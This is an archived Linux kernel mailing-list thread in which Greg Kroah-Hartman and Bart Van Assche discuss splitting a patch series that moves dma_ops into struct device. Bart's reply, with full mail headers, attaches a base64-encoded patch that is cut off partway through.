> > > set_dma_ops() that will be used by a later patch in this series.
> > =

> > When you say things like "additionally", that's a huge flag that this
> > needs to be split up into multiple patches.=A0=A0No need to add
> > set_dma_ops() here in this patch.
> =

> Hello Greg,
> =

> Some architectures already define a=A0set_dma_ops() function. So what this
> patch does is to move both the dma_ops pointer and the set_dma_ops()
> function from architecture-specific to architecture independent code. I
> don't think that it is possible to separate these two changes. But I
> understand that how I formulated the patch description caused confusion. I
> will rewrite the patch description to make it more clear before I repost
> this patch series.

I think you should separate it out into multiple patches, this is a
mess, as you say below:

> > And I'd argue that it should be dma_ops_set(), and dma_ops_get(), just
> > to keep the namespace sane, but that's probably a different set of
> > patches...
> =

> Every time I rebase and retest this patch series on top of a new kernel
> version I have to modify some of the patches to compensate for changes in
> the architecture code. So I expect that once Linus merges these patches t=
hat
> he will have to resolve one or more merge conflicts. Including a rename of
> the functions that query and set the dma_ops pointer in this patch series
> would increase the number of merge conflicts triggered by this patch seri=
es
> and would make Linus' job harder. So I hope that you will allow me to
> postpone that rename until a later time ...

That's a big sign that your patch series needs work.  Break it up into
smaller pieces, it should be possible, which will make merges easier
(well, different in a way.)

Good luck, tree-wide changes are not simple.

greg k-h

From - Thu Nov 08 21:39:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bart Van Assche <Bart.VanAssche-XdAiOPVOjttBDgjK7y7TUQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sparc,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.kernel.pci,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/9] Move dma_ops from archdata into struct device
Date: Wed, 11 Jan 2017 22:28:05 +0000
Lines: 849
Approved: news@gmane.org
Message-ID: <1484173670.2619.28.camel@sandisk.com>
References: <20170111005648.14988-1-bart.vanassche@sandisk.com>
	<20170111005648.14988-3-bart.vanassche@sandisk.com>
	<20170111064803.GB26893@kroah.com>
	<1484158589.2619.14.camel@sandisk.com>
	<20170111203100.GB17895@kroah.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="_004_1484173670261928camelsandiskcom_"
X-Trace: blaine.gmane.org 1484173731 22604 195.159.176.226 (11 Jan 2017 22:28:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 11 Jan 2017 22:28:51 +0000 (UTC)
Cc: "linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org" <linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>,
	"dalias-8zAoT0mYgF4@public.gmane.org" <dalias-8zAoT0mYgF4@public.gmane.org>,
	"linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"a-jacquiot-l0cyMroinI0@public.gmane.org" <a-jacquiot-l0cyMroinI0@public.gmane.org>,
	"catalin.marinas-5wv7dgnIgG8@public.gmane.org" <catalin.marinas-5wv7dgnIgG8@public.gmane.org>,
	"will.deacon-5wv7dgnIgG8@public.gmane.org" <will.deacon-5wv7dgnIgG8@public.gmane.org>,
	"x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org" <x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>, "mulix-BzGcCpaT2IbYtjvyW6yDsg@public.gmane.org" <mulix-BzGcCpaT2IbYtjvyW6yDsg@public.gmane.org>,
	"dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org" <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
	"jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org" <jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, "hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>,
	"sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org" <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>,
	"egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org" <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>,
	"jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org" <jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org>,
	"linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"jesper.nilsson-VrBV9hrLPhE@public.gmane.org" <jesper.nilsson-VrBV9hrLPhE@public.gmane.org>,
	"linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org" <linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
	"linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org" <l
To: "gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org" <gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Wed Jan 11 23:28:37 2017
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1cRRNc-0004HX-7H
	for glki-iommu@m.gmane.org; Wed, 11 Jan 2017 23:28:29 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 5D182958;
	Wed, 11 Jan 2017 22:28:32 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 88699957
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 11 Jan 2017 22:28:30 +0000 (UTC)
X-Greylist: whitelisted by SQLgrey-1.7.6
Original-Received: from NAM03-BY2-obe.outbound.protection.outlook.com
	(mail-by2nam03on0041.outbound.protection.outlook.com [104.47.42.41])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 8B1EB1B8
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 11 Jan 2017 22:28:27 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
	d=sandiskcorp.onmicrosoft.com; s=selector1-sandisk-com;
	h=From:Date:Subject:Message-ID:Content-Type:MIME-Version;
	bh=pqUKpznQKvh8KwFkrMH2UFMEiyW0QNPo4lp7XdOT4bg=;
	b=fFa2Jyp3YbfXztKthz0S/k1zCtsKOYr9kyjC68L1d8ucmCkjzjn4YLVn85RG+wM01QkPhCk+I2YEzP/R9rS1EeQPejbxPM/hw9LKTrcVCsESz/quXjLG0tbpdMPDoz3RnDDxJCQbtNuiJofweHa5rRXkGpDyYZ86Ou8dpbf/aPM=
Original-Received: from BY2PR02CA0017.namprd02.prod.outlook.com (10.242.32.17) by
	BY2PR02MB1412.namprd02.prod.outlook.com (10.162.80.152) with Microsoft
	SMTP Server (version=TLS1_2,
	cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id
	15.1.817.10; Wed, 11 Jan 2017 22:28:17 +0000
Original-Received: from BN1BFFO11FD014.protection.gbl (2a01:111:f400:7c10::1:131) by
	BY2PR02CA0017.outlook.office365.com (2a01:111:e400:2c2a::17) with
	Microsoft SMTP Server (version=TLS1_2,
	cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id 15.1.817.10 via
	Frontend Transport; Wed, 11 Jan 2017 22:28:16 +0000
Authentication-Results: spf=pass (sender IP is 74.221.232.54)
	smtp.mailfrom=sandisk.com; arm.com; dkim=none (message not signed)
	header.d=none;arm.com; dmarc=bestguesspass action=none
	header.from=sandisk.com;arm.com; dkim=none (message not signed)
	header.d=none;
Received-SPF: Pass (protection.outlook.com: domain of sandisk.com designates
	74.221.232.54 as permitted sender) receiver=protection.outlook.com;
	client-ip=74.221.232.54; helo=sacsmgep14.sandisk.com;
Original-Received: from sacsmgep14.sandisk.com (74.221.232.54) by
	BN1BFFO11FD014.mail.protection.outlook.com (10.58.144.77) with
	Microsoft SMTP Server (version=TLS1_2,
	cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id
	15.1.803.8 via Frontend Transport; Wed, 11 Jan 2017 22:28:11 +0000
X-AuditID: ac1c2133-0c3ff70000013ebf-7c-58772c46dff8
Original-Received: from SACHUBIP01.sdcorp.global.sandisk.com (Unknown_Domain
	[172.28.1.254])
	(using TLS with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by  (Symantec Messaging Gateway) with SMTP id DA.6C.16063.64C27785;
	Wed, 11 Jan 2017 23:12:09 -0800 (PST)
Original-Received: from SACCASIP04.sdcorp.global.sandisk.com (10.181.10.113) by
	SACHUBIP01.sdcorp.global.sandisk.com (10.181.10.103) with Microsoft
	SMTP Server (TLS) id 14.3.319.2; Wed, 11 Jan 2017 14:28:08 -0800
Original-Received: from ULS-OP-MBXIP03.sdcorp.global.sandisk.com
	([fe80::f9ec:1e1b:1439:62d8]) by SACCASIP04.sdcorp.global.sandisk.com
	([::1]) with mapi id 14.03.0319.002; Wed, 11 Jan 2017 14:28:07 -0800
Thread-Topic: [PATCH 2/9] Move dma_ops from archdata into struct device
Thread-Index: AQHSbFn6ItxJjPbhik+C656I6OUbBw==
In-Reply-To: <20170111203100.GB17895-U8xfFu+wG4EAvxtiuMwx3w@public.gmane.org>
Accept-Language: nl-NL, en-US
Content-Language: en-US
X-MS-Has-Attach: yes
X-MS-TNEF-Correlator: 
x-originating-ip: [172.28.1.254]
X-Brightmail-Tracker: H4sIAAAAAAAAA22Te0ybVRjGPd+duiafyOWITh3xEsfGnJL4ximZicrHHypGl+DiZXV8ATJu
	aRFlRkOAAaVTuwkYWsLoQAYM2q4413JxrCNsDIEOCOMqAwqssnAR3RhMsO0HBhP/e97nPL/3
	fc9JDkf6tnBBXHxSqqhMUiQEMzKq9jG0tjty1+fRzy/2yEBtW2XhijmDgfnK4wg0p88wYLi3
	QkNJdzYFY38MI5jLXKXA1b1Ag8Y4wUJO0WswPdRMQIUrHLLKTQwUnQuE5b+yKCi7uA/ujBsQ
	1PbkMDBmrKFhxq4j4X7xAgFqvZmFKe0IA3OjrQh0F0cpsEz209Cq1xJQddZIwny2lYGFvDka
	ehtKGDjjrCPdo3Ip0BaeZGHimoOAztIrDEzbv3F7hiwSSu4XkHBspI6A6s46FuyFzQhW767R
	0NNSRsD6D/UITJeGKcjXTTFgUfcy0Fx4E0FGexUNTasfQqelmoB6SyEJtx2/UXC+Y54E1+JV
	CpbNkzSMnWwm9u8TnJdKCeFYs5YRaktrkdDbf50UbhijhJ+qBwnBphtlhYXFj4X6qp1CeZOL
	ECw1akYoMzlpoUu/QAlzXV2sYLXMEoL9ch6Keuag7JUYMSE+TVTuCT8ki+vUGKiUHxfJL07P
	OqkM9O0kmY98OMyH4cuDK0Q+knG+fAWBT1V0s1LRjbDDlIOkog1hzXcnWQ/C8C9gvbaJ8mg/
	/lV8olJDekIk/zvG51rV7oLjHubfxMdNaVImAhu7cjfyobjXaaM9muKfxvrvLawnLnf3VE89
	Ls1yIWy9OuTN+/B7sPPevDeD+O04e/ZBj03ygXjIeYqQbuCHx693MJL2x67JNVrS 
X-EOPAttributedMessage: 0
X-MS-Office365-Filtering-HT: Tenant
X-Forefront-Antispam-Report: CIP:74.221.232.54; IPV:NLI; CTRY:US; EFV:NLI;
	SFV:NSPM;
	SFS:(10009020)(6009001)(7916002)(39450400003)(39840400002)(39860400002)(39850400002)(39410400002)(2980300002)(438002)(3190300001)(189002)(199003)(377424004)(24454002)(1730700003)(5250100002)(5000100001)(7416002)(4326007)(7366002)(7406005)(5890100001)(84326002)(39060400001)(110136003)(4810100001)(2351001)(106116001)(106466001)(4610100001)(8676002)(6916009)(568964002)(103116003)(81156014)(68736007)(2950100002)(512934002)(2906002)(92566002)(2476003)(69596002)(7736002)(305945005)(356003)(2900100001)(5640700003)(81166006)(54906002)(36756003)(33646002)(8936002)(93886004)(76176999)(189998001)(229853002)(97736004)(30436002)(50986999)(575784001)(2501003)(86362001)(2270400002)(99936001)(5660300001)(6116002)(54356999)(3846002)(626004)(8666007)(38730400001)(102836003)(7099028);
	DIR:OUT; SFP:1101; SCL:1; SRVR:BY2P 
X-Microsoft-Exchange-Diagnostics: 1; BN1BFFO11FD014;
	1:Y7znxDCrDyFA2o5/LvLAYOV9wVeusc0AcAGckYmoM5zdyCt6HvR8ERdSCdMjo2a/AayniQ5YiOlfXZVvHYza98m3QRvwNLsz7UY5IAXmzU5thsBm9fNb7GrEmitmxldtIU1DeENgVibTfBrHlM21dXln81ysiwAwmTh2/V4+bgLdm0dGDIgINHoXCkKueDIJzeH6hi3n3UOIUALIMhCcmZVxszli/f0rVe0z7xvBSpVFRnUYVH50J+3f5yjRSbu+lveI0qXl8mKo2KvD7a+tB1JcZbJ0rUp/Izg5Kb3TwbeUQmV53D17UKU6vV13QmkjaC9wATwkEgOagTBkr6LlSByPucQzJmRDLO3N8js40J+O+oS4FjGd4QFaGI/0BZ/unCJ8TGZoqbPqUo2IZmyR5YhCNhHPMFI0L5eCQv/C3jY4CdL8I9c9My3VWax37GJH4PE6L3XLSjm/C6aBrQHxJawuhMqgrwGKvRthHU4i43NeIplEUGuSd575Gw0JVQChydlF9aKHTZVddkE4ngHgab6CvwDVOQ0za2zgLExYms9r4kIXRZqO2hb+lEqCoqmrk5dOzKbnmQAS0zK6YN18wuKnwwkqGZEe51pa9mwqTp/IONJkD0TQSPAjPIshXwOn
X-MS-Office365-Filtering-Correlation-Id: 3201744c-c6cf-4be0-f70d-08d43a71232f
X-Microsoft-Antispam: UriScan:; BCL:0; PCL:0; RULEID:(22001)(8251501002);
	SRVR:BY2PR02MB1412; 
X-Microsoft-Exchange-Diagnostics: 1; BY2PR02MB1412;
	3:X+O49coAzSXgAFVBuiT4YZzWBl7oyxQGhrtQVY7oUCjwxe2s9xSczs7vJxKt3UYReTBgtoqE1idVsJPZpN526V2zElTMWnnb+276k2HIoXGVTeR6OEWIdGgH5d3EqKkHS+UNMTOs16BOs+3dc0Uu6ofEG8qaZ+DGIZ0hjqaFjRGX0EECL+uKCspSPZCNJ4lMld2pHEH5GliNq+OA/tpRIqPGWPvPyGMOOYN2fUysh7+SUYHr0Dq4yV1zyxa0iNUme9HbgojC/kfxMX8I4r9FZ7To+fEqh0TGBY7L1NGmAiiDCmGlwFMdBZu6Ktslp0kHiH6QmClVb9t7hlChcrs2ngPDyvkEWvMBxsl4wZvuPd25rf3GoGiq82mIdNRvQZuzAX65kX2vym2ZHHaFYqLbHg==;
	25:r34AoHEVAhvif0aceBH+N9H1GJ3uiz94PCXaI7/L3BVvd5qA/fZNH/ibu0/2FKRuMp9EFbp+OCL9wjFglNwSGRgdudwRSELUFNQDUnOZDUEay2+v2rxMes4HrIGDTM8trYAW5lw9FAwC0R7/6iqZz3G9QTtGbn9A0DxJXHKT7htrAIkSE9++eD3rKMpHjGDUP99i1gcg32wrudhhG9QMwVlEq/f+50aHLBmXi8YviOlqZ4FepLWYUjbHCFMM0TdSDsFacnexKX/cu2az8cRfg1wGZ/fHOF5WeN9pWnOE5lFv/q3CfEYGI2RFO8A5FgY6jeGC0hJTUhFr+TWi58BRWNqG5CSN7arKM1xwlkxAV6oFLdhRNf99KUq399yberdXMKbofU0iy2UQWdAxjI9wf0+00Y8ZXfkDoRyNTggSTHTod2j 
X-Microsoft-Exchange-Diagnostics: 1; BY2PR02MB1412;
	31:0IozkLRid0DncS6kCPscY3o38iEGzgYoY8qYs4FJmPZWrJYgeBZ08IF9Bc1ko0MXacqLhQ+9BzmIRFlg1A5mjywPrbXetwdvypyA0mmrEt8RX/9zBwawMFjXPVv20Cf4/0KSp2x1pfiDMOb8xCVBqptzd22LS5/TZv58b2XuatF2YcHvibM2ez/pBYZ49Vr+WjFeia3LkphW6OSbQma02tsXyqzgGMaVrMa94QbfZHljy5Kybe1ewbpDM3R7N+YMOQXXvHkiJl/2D7WystTT4RyAu/2zOOFafdvyQWcrCJDBunf+iVPcV2T/pcWAaZmG;
	20:Q5SBaKLy9eY/CceiaGygdoG95rD9+jAEffEqzwDYU74ky0dm1ibtV/zErWhB+TJHdpxY9Y2CUDYgRLy5U1Efn4XHzJADRRiL+VPuA1qVaHkIoEW3hWBIMBjOc4YAU7C+TAazl3UjrAQ6o14MW++80ociytfPprMipPTXGVUUo648CvaUx4TOh+7oKlG9zq395B8T1XRzgNKptX1vm/zx8N5fkrjmjAL6aTtfjDr4CIR8IUNMMpgwImEl0vbDSbawSGCGQpLJ8AM/1Z/nfsFRKCgb/KqyM8ZzV0V1rQCk7Zv2qvJQRbOu+T44/miEJH+Q1ckTs471+9SJxmZ4q5IoaWf9RHQp4isOEBoUfwsFOWlnDtM0Gpd4cr6vMMoKfefU6zPhMhzJzvKUZtSGxTOH9ZZETaEQn08Ht3lpoKP1iOe+XKRQhXJi4a+nJfBxtbXUBHrIJN4XXP3gNjokE/qct/iWafNk0KRPVFiCzzBla1otNYdQyNFq6i2/16aA6LR7
X-Microsoft-Antispam-PRVS: <BY2PR02MB14122B49D2D244D5720B856F81660-USF8g7QUirBvFgOuVMKzFKnrV9Ap65cLvxpqHgZTriW3zl9H0oFU5g@public.gmane.org>
X-Exchange-Antispam-Report-Test: UriScan:(42932892334569);
X-Exchange-Antispam-Report-CFA-Test: BCL:0; PCL:0;
	RULEID:(102415395)(6040375)(601004)(2401047)(13023025)(13017025)(13015025)(13024025)(13018025)(5005006)(8121501046)(3002001)(10201501046)(6055026)(6041248)(20161123562025)(20161123555025)(20161123564025)(20161123560025)(6072148);
	SRVR:BY2PR02MB1412; BCL:0; PCL:0; RULEID:; SRVR:BY2PR02MB1412; 
X-Microsoft-Exchange-Diagnostics: 1; BY2PR02MB1412;
	4:S4TsZcsPvMRd7USHPki/saExPWaC/f5/oFprb+fmTowL0CXwwqoZvsi/yCXaaZqCf+veeeBm9G/fmbTtveXBsRTeASBm+zUvRq1zvnncIox10fFZy5jMw+2g2omXO3y2Y3mOgct/X0eJ4PwPah1wG2/x8F4JrQ5WYgWnjDKW2AXUdKaTpbIK7IsLJqqTfzFEBvN0epCpe+cCEgKiITs8vW6ZK86JjHMc9/QfUUBJahfNHjV100uy/5911T2X5flwRI1SiICSqBoem6TBhlXFy3wmPCDtqOL3s1+6ZZ+lGztwc4vZZcSbT3tMTIHU5DrX3WvhapJnusW794l6pLnixXYTj75gsPM7NY2THK5+BGhcW2kCMPgSUJTwYrlBUD/IwzNZmkyzZo9vwKgEaq7L+jS3zjZ8h7XidhG/LBVCe0AnKx1Yyd4sNvyGNQBI6BYZbM2l0OtnMmuQfE+QtGFXPFg1lAWqVT1KS8cy47/0LIpCnAiTs11XNuZDAd6OCpJpcZWOjsxQs3QZS4+HEa7YFsAC2H2rmUhwc9NhKyqNu6tvJXGPU3NP44gwBwyAN1A1Qt8rlFMiuY9u1JlfU8hG25V96zOd/990iuSrtKSJuVhh7PfngVswadKNf/xFfVp4R6sGdnO+fdz+DyAz76UdE+iUEl90AtfryRI66eNVO4Mfz76zzLaHdSV/UxmrQFPm0mU9bVms+kaInbLwWlyt6My/0WLwDRDWKAiypuUQ104JXXhfKHBFdR1vsG556d6m
X-Forefront-PRVS: 01842C458A
X-Microsoft-Exchange-Diagnostics: =?us-ascii?Q?1; BY2PR02MB1412;
	23:OhIPfjLQYK2Ba4Bg9v4PDN+09CNFIzIxwNWH8AjGP?=
	=?us-ascii?Q?wKoUCiDAl3RyxphQ13H7VYFXUkiLNGaZ9VRh9Y5jrrQZByIJTGrfT0HGZ94H?=
	=?us-ascii?Q?4TbECbAIrjM9N72UOmDIwZdtLujgxj1WTRQUrBGnz4rSI0Ao9hL6iCKHl7tY?=
	=?us-ascii?Q?gxL0PEI6FixRRhXpyPZFYTp37IEGLgG3A3aiDL8Yj0bhzZt4nOY9cDHPmS7K?=
	=?us-ascii?Q?pgCkK+sWhk+CJiNkrfQujgSOk3cnTqOzi8e8svMH59wZnBsGtQ1jDowIzfk8?=
	=?us-ascii?Q?ucdYDpNS1ZAyuaDELCa5iNFaGxV6Cgm0tg+zwESnwpPq30yUdpUVge5eZNyJ?=
	=?us-ascii?Q?huuVzg/OVwPNkf7wNgghhoZ2KgMeHVvVP47ZvORhwf47MYkJsOTgwk46wXjH?=
	=?us-ascii?Q?m+HH2n7T/RIGWv2bmNK5gB0StTGuuJpJW1CKpZkI8AG9js3plnu+5mgOAy8F?=
	=?us-ascii?Q?bnlLVsZaHy0FoE6/dLPbhOUxjBE3UWd+kdUyJD1gigHHTKlotx/D9D88Bt5a?=
	=?us-ascii?Q?US63DuN6M7+x5rS8ihnBYy2zwZlLIKEbJhwv2aMO6wSVh/gM4NG63oxVJtXc?=
	=?us-ascii?Q?/57O6XZqLHeq/rmIdkpqcSmFRiJuWdO2ayQuFwCHhg5gULsOdqrJAAK+wAnA?=
	=?us-ascii?Q?0el 
X-Microsoft-Exchange-Diagnostics: 1; BY2PR02MB1412;
	6:Ug3oKqI7SUnhunMpWU6cmSx2UnV7aWnbgtm3gxIYz5nA/wQFGSs770c9dKZGuYqiH4rKuWJ1cXxX/ErZT7DPzGY/JtQi2gPepb1pQaX2pxP2whYDHBnyC30zR467hmVzzTRrlJXEwto9kP+ChEICyQ7m5sMqTF5Q3g0OBfYTkXsugBAIBze1Pqy+oep6Z78CRsdyl4nV/Pt+HdCFqZOt5KVV3Eiw44Uzixe33NU2LChK6FJiDtqhFfySLNcjxC3Bl5IlvVf1lijWZFJs62kjbqteIG+tVRoebsiQ6Eb10FJXJOU5zJpThslBV8IladglCGbfq7XPcTURdV3JavKW+TVadZu1HVdub/JLcl+i6mdG9dMdGFyHM+t6JR7b19VUt9TiohUr7DbbPZj9TLXwMIOKgtHs/NhG2Pmn9witZG+t8eUyGqc48ItQhIA0nXd9jSsMr2gfVPcLS4J+69wwxg==;
	5:cMOTHrxGELDRH0h2IRAQbdAvFWArY5T3/oJ9iq3i+/e/QVvgyf2ea0LhY11e6fL6jiEGgIV71U6w6LSSFGEhexf9J6QaZGVCnrMu/BLVa9AYKrXHyuqarg/40MOlbrwHz8+r96KRoazftX5cPAYgVg==;
	24:29zdNZKs4zKcptme3GQkbV4Y0hKRacFyDTnlQG8NObjUvEKYXJ9FPrKnpcvo25YUHo2N3OZ0HEVRf4QIwZmfSQhj5pGxYl1TIkZen5vraUw=
SpamDiagnosticOutput: 1:99
SpamDiagnosticMetadata: NSPM
X-Microsoft-Exchange-Diagnostics: 1; BY2PR02MB1412;
	7:egfdvPt5j/AsPYACpny/9TkpmOtJ01Wsyt1lWHBMMXBWwOB1yoe+YhlqHpHXxfwgor24Y3sLktNkRFqrUv3D7C0Vm+x2rh2nEZNAE39iv47RSJu0khU9VCBXiccgP6bjwZMj+GEo9pMtugxqAhOXzRx6ttO/myrg6iLYVselh2hZIQHiFadNqISRH7IGrPrBrwAYeUFLhsoIe5BNKrvE/FqiNsuk2oz8eaz1naG+WBc2wJVU9IJ+ycgIMpAibneYWivbczoQ4Imm9HsSjUHeGDfn3cBFeWOsMADh1A13oJYxwbKbuHZbQLOCJwqaoFu6Lt/rlpodaQ2eSTXZR3R56QI4WP83gHBdl5C9XBA/yenlhVJws/xh2EAftfAm3IqkSG7ZydFLyrXV/768Yra7GowxM1h2K61XXy40FoxL66WNPoNs46bhPEtFQKSkebV9FnnNCFKR3Gkyty2966B49A==
X-OriginatorOrg: sandisk.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 11 Jan 2017 22:28:11.0040 (UTC)
X-MS-Exchange-CrossTenant-Id: fcd9ea9c-ae8c-460c-ab3c-3db42d7ac64d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=fcd9ea9c-ae8c-460c-ab3c-3db42d7ac64d;
	Ip=[74.221.232.54]; Helo=[sacsmgep14.sandisk.com]
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: BY2PR02MB1412
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:16586 gmane.linux.ports.mips.general:57445 gmane.linux.ports.ia64:27582 gmane.linux.ports.sparc:24353 gmane.linux.drivers.rdma:45468 gmane.linux.ports.hexagon:1102 gmane.linux.ports.sh.devel:55017 gmane.linux.kernel.pci:58151 gmane.linux.kernel.arc:2000 gmane.linux.kernel.metag:1225 gmane.linux.ports.arm.kernel:549872 gmane.linux.ports.parisc:27173 gmane.linux.kernel:2386009 gmane.linux.ports.alpha:4024 gmane.linux.ports.ppc64.devel:137162
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/16586>

--_004_1484173670261928camelsandiskcom_
Content-Type: text/plain; charset="iso-8859-1"
Content-ID: <8CA25A75FA1D5A409ACFDA797937F603-XdAiOPVOjttBDgjK7y7TUQ@public.gmane.org>
Content-Transfer-Encoding: quoted-printable

On Wed, 2017-01-11 at 21:31 +0100, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org wrote:
> That's a big sign that your patch series needs work.  Break it up into
> smaller pieces, it should be possible, which will make merges easier
> (well, different in a way.)

Hello Greg,

Can you have a look at the attached patches? These three patches are a
splitup of the single patch at the start of this e-mail thread.

Thanks,

Bart.=

--_004_1484173670261928camelsandiskcom_
Content-Type: text/x-patch;
	name="0001-treewide-Move-dma_ops-from-struct-dev_archdata-into-.patch"
Content-Description: 0001-treewide-Move-dma_ops-from-struct-dev_archdata-into-.patch
Content-Disposition: attachment;
	filename="0001-treewide-Move-dma_ops-from-struct-dev_archdata-into-.patch";
	size=22418; creation-date="Wed, 11 Jan 2017 22:28:04 GMT";
	modification-date="Wed, 11 Jan 2017 22:28:04 GMT"
Content-ID: <03D73F3964D8C442AF2CFE048FE58BF6-XdAiOPVOjttBDgjK7y7TUQ@public.gmane.org>
Content-Transfer-Encoding: base64

RnJvbSBhNmZlM2E2ZGI4MGYyYmMzNTllMDQ5YjcyZTEzYWExNzFmZmY2ZmZhIE1vbiBTZXAgMTcg
MDA6MDA6MDAgMjAwMQpGcm9tOiBCYXJ0IFZhbiBBc3NjaGUgPGJhcnQudmFuYXNzY2hlQHNhbmRp
c2suY29tPgpEYXRlOiBXZWQsIDExIEphbiAyMDE3IDEzOjMxOjQyIC0wODAwClN1YmplY3Q6IFtQ
QVRDSCAxLzNdIHRyZWV3aWRlOiBNb3ZlIGRtYV9vcHMgZnJvbSBzdHJ1Y3QgZGV2X2FyY2hkYXRh
IGludG8KIHN0cnVjdCBkZXZpY2UKClRoaXMgY2hhbmdlIGlzIG5lY2Vzc2FyeSB0byBtYWtlIHRo
ZSBkbWFfb3BzIHBvaW50ZXIgY29uZmlndXJhYmxlCnBlciBkZXZpY2Ugb24gYXJjaGl0ZWN0dXJl
cyB0aGF0IGRvIG5vdCB5ZXQgaW1wbGVtZW50IHNldF9kbWFfb3BzKCkuCgpTaWduZWQtb2ZmLWJ5
